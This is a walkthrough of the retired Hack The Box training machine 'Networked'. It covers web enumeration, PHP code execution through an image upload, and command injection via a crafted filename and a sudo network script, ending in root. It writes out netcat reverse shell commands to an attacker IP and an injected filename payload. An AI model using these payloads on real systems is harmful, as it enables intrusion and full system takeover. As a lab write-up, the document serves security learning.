Ahmed Hesham
CyberSec/InfoSec enthusiast.
Interested in knowing how things work/Interested in breaking them, always learning.

  Ad

Hack The Box - Networked

My write-up / walkthrough for Networked from Hack The Box.

Quick Summary


Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146, I added it to /etc/hosts as networked.htb. Let’s jump right in !


Nmap


As always we will start with nmap to scan for open ports and services:

root@kali:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET 
Nmap scan report for networked.htb (10.10.10.146)
Host is up (1.7s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds
root@kali:~/Desktop/HTB/boxes/networked# 


We got ssh on port 22 and http on port 80, let’s check the web service.


Web Enumeration


The index page had nothing except for this message:


So I ran gobuster to check for sub directories and I found 2 interesting directories, /uploads and /backup:

root@kali:~/Desktop/HTB/boxes/networked# gobuster -u http://networked.htb/ -w /usr/share/wordlists/dirb/common.txt                                                                                                

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://networked.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/11/16 01:21:45 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/uploads (Status: 301)
=====================================================
2019/11/16 01:24:26 Finished
=====================================================
root@kali:~/Desktop/HTB/boxes/networked# 


In /backup I found a tar archive that had a backup of all the site’s pages:


root@kali:~/Desktop/HTB/boxes/networked# wget http://networked.htb/backup/backup.tar
--2019-11-16 01:25:13--  http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’

backup.tar                                           100%[=====================================================================================================================>]  10.00K  --.-KB/s    in 0.1s    

2019-11-16 01:25:13 (95.3 KB/s) - ‘backup.tar’ saved [10240/10240]

root@kali:~/Desktop/HTB/boxes/networked# 
root@kali:~/Desktop/HTB/boxes/networked# mkdir backup
root@kali:~/Desktop/HTB/boxes/networked# cd backup/
root@kali:~/Desktop/HTB/boxes/networked/backup# mv ../backup.tar .
root@kali:~/Desktop/HTB/boxes/networked/backup# tar xvf backup.tar 
index.php
lib.php
photos.php
upload.php
root@kali:~/Desktop/HTB/boxes/networked/backup# ls -la
total 36
drwxr-xr-x 2 root root  4096 Nov 16 01:26 .
drwxr-xr-x 3 root root  4096 Nov 16 01:25 ..
-rw-r--r-- 1 root root 10240 Jul  9 13:33 backup.tar
-rw-r--r-- 1 root root   229 Jul  9 13:33 index.php
-rw-r--r-- 1 root root  2001 Jul  2 13:38 lib.php
-rw-r--r-- 1 root root  1871 Jul  2 14:53 photos.php
-rw-r--r-- 1 root root  1331 Jul  2 14:45 upload.php
root@kali:~/Desktop/HTB/boxes/networked/backup# 


index.php:

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>


lib.php:

<?php

function getnameCheck($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  #echo "name $name - ext $ext\n";
  return array($name,$ext);
}

function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}

function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
 <input type="file" name="myFile">
 <br>
<input type="submit" name="submit" value="go!">
</form>
<?php
  exit();
}


?>


photos.php:

<html>
<head>
<style type="text/css">
.tg  {border-collapse:collapse;border-spacing:0;margin:0px auto;}
.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg .tg-0lax{text-align:left;vertical-align:top}
@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}</style>
</head>
<body>
Welcome to our awesome gallery!</br>
See recent uploaded pictures from our community, and feel free to rate or comment</br>
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$ignored = array('.', '..', 'index.html');
$files = array();

$i = 1;
echo '<div class="tg-wrap"><table class="tg">'."\n";

foreach (scandir($path) as $file) {
  if (in_array($file, $ignored)) continue;
  $files[$file] = filemtime($path. '/' . $file);
}
arsort($files);
$files = array_keys($files);

foreach ($files as $key => $value) {
  $exploded  = explode('.',$value);
  $prefix = str_replace('_','.',$exploded[0]);
  $check = check_ip($prefix,$value);
  if (!($check[0])) {
    continue;
  }
  // for HTB, to avoid too many spoilers
  if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
    continue;
  }
  if ($i == 1) {
    echo "<tr>\n";
  }

echo '<td class="tg-0lax">';
echo "uploaded by $check[1]<br>";
echo "<img src='uploads/".$value."' width=100px>";
echo "</td>\n";


  if ($i == 4) {
    echo "</tr>\n";
    $i = 1;
  } else {
    $i++;
  }
}
if ($i < 4 && $i > 1) {
    echo "</tr>\n";
}
?>
</table></div>
</body>
</html>


upload.php:

<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
  if (!empty($_FILES["myFile"])) {
    $myFile = $_FILES["myFile"];

    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
      echo '<pre>Invalid image file.</pre>';
      displayform();
    }

    if ($myFile["error"] !== UPLOAD_ERR_OK) {
        echo "<p>An error occurred.</p>";
        displayform();
        exit;
    }

    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
    list ($foo,$ext) = getnameUpload($myFile["name"]);
    $validext = array('.jpg', '.png', '.gif', '.jpeg');
    $valid = false;
    foreach ($validext as $vext) {
      if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
      }
    }

    if (!($valid)) {
      echo "<p>Invalid image file</p>";
      displayform();
      exit;
    }
    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

    $success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
    if (!$success) {
        echo "<p>Unable to save file.</p>";
        exit;
    }
    echo "<p>file uploaded, refresh gallery</p>";

    // set proper permissions on the new file
    chmod(UPLOAD_DIR . $name, 0644);
  }
} else {
  displayform();
}
?>


/upload.php:


/photos.php:


RCE –> Shell as apache


We can use upload.php to upload images then we can view them through photos.php or /uploads/image_name. For some time I tried to bypass the extension filter in upload.php to upload php files but I wasn’t able to bypass it. However I could get RCE by injecting php code in the uploaded images.
I got a solid black image and called it original.png, let’s upload it:








Now let’s copy that image and inject some php code into the new image:

root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
root@kali:~/Desktop/HTB/boxes/networked# 


I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:






Now if we view the file from /uploads we won’t get the image, we’ll get the binary data of the image and the result of the executed php code at the end:


whoami got executed successfully and we’re the user apache.
I created another one to get a reverse shell:

root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> ./shell.php.png 
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f");' >> ./shell.php.png 
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> ./shell.php.png 
root@kali:~/Desktop/HTB/boxes/networked# 


And I got a shell as apache:

root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:55662.
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ hostname
hostname
networked.htb
sh-4.2$ 



Command Injection in check_attack.php –> Shell as guly –> User Flag


First thing I did after getting a shell was to make it stable:

sh-4.2$ which python
which python
/usr/bin/python
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ ^Z
[1]+  Stopped                 nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337

bash-4.2$ export TERM=screen
bash-4.2$ 


Then I started to enumerate the box, there was only one user on the box called guly:

bash-4.2$ cd /home/
bash-4.2$ ls -al
total 0
drwxr-xr-x.  3 root root  18 Jul  2 13:27 .
dr-xr-xr-x. 17 root root 224 Jul  2 13:27 ..
drwxr-xr-x.  2 guly guly 178 Nov 16 00:31 guly
bash-4.2$ cd guly/
bash-4.2$ ls -al
total 32
drwxr-xr-x. 2 guly guly  178 Nov 16 00:31 .
drwxr-xr-x. 3 root root   18 Jul  2 13:27 ..
lrwxrwxrwx. 1 root root    9 Jul  2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly   18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly  193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly  231 Oct 30  2018 .bashrc
-rw-------  1 guly guly  749 Nov 16 00:31 .viminfo
-r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
-rw-------  1 guly guly 1920 Nov 16 00:27 dead.letter
-r--------. 1 guly guly   33 Oct 30  2018 user.txt
bash-4.2$ cat user.txt 
cat: user.txt: Permission denied
bash-4.2$ 


We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:

bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$


check_attack.php:

bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
bash-4.2$


This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:

exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");


$path is the path of the uploads directory:

$path = '/var/www/html/uploads/';


And $value is the suspicious file’s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.

bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$


After some time I got a shell as guly:

root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ^Z
[1]+  Stopped                 nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo 
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338

[guly@networked ~]$ export TERM=screen
[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
[guly@networked ~]$ ls -al
total 32
drwxr-xr-x. 2 guly guly  178 Nov 16 00:31 .
drwxr-xr-x. 3 root root   18 Jul  2 13:27 ..
lrwxrwxrwx. 1 root root    9 Jul  2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly   18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly  193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly  231 Oct 30  2018 .bashrc
-r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
-rw-------  1 guly guly 3072 Nov 16 00:48 dead.letter
-r--------. 1 guly guly   33 Oct 30  2018 user.txt
-rw-------  1 guly guly  749 Nov 16 00:31 .viminfo
[guly@networked ~]$ 




We owned user.


Command Injection in the Network Script Name –> Root Shell –> Root Flag


As guly I checked sudo -l and found that guly can run /usr/local/sbin/changename.sh as root without a password:

[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$ 


changename.sh:

[guly@networked ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0
[guly@networked ~]$


This script simply creates a network script for an interface called guly then activates that interface. It asks the user for these options: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cd /root/
[root@networked ~]# ls -la
total 28
dr-xr-x---.  2 root root  144 Jul 15 11:34 .
dr-xr-xr-x. 17 root root  224 Jul  2 13:27 ..
lrwxrwxrwx.  1 root root    9 Jul  2 13:35 .bash_history -> /dev/null
-rw-r--r--.  1 root root   18 Dec 29  2013 .bash_logout
-rw-r--r--.  1 root root  176 Dec 29  2013 .bash_profile
-rw-r--r--.  1 root root  176 Dec 29  2013 .bashrc
-rw-r--r--.  1 root root  100 Dec 29  2013 .cshrc
-r--------.  1 root root   33 Oct 30  2018 root.txt
-rw-r--r--.  1 root root  129 Dec 29  2013 .tcshrc
-rw-------   1 root root 1011 Jul 15 11:34 .viminfo
[root@networked network-scripts]#


And we got a root shell.


We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.


Previous Hack The Box write-up : Hack The Box - Jarvis
Next Hack The Box write-up : Hack The Box - Chainsaw


All Tags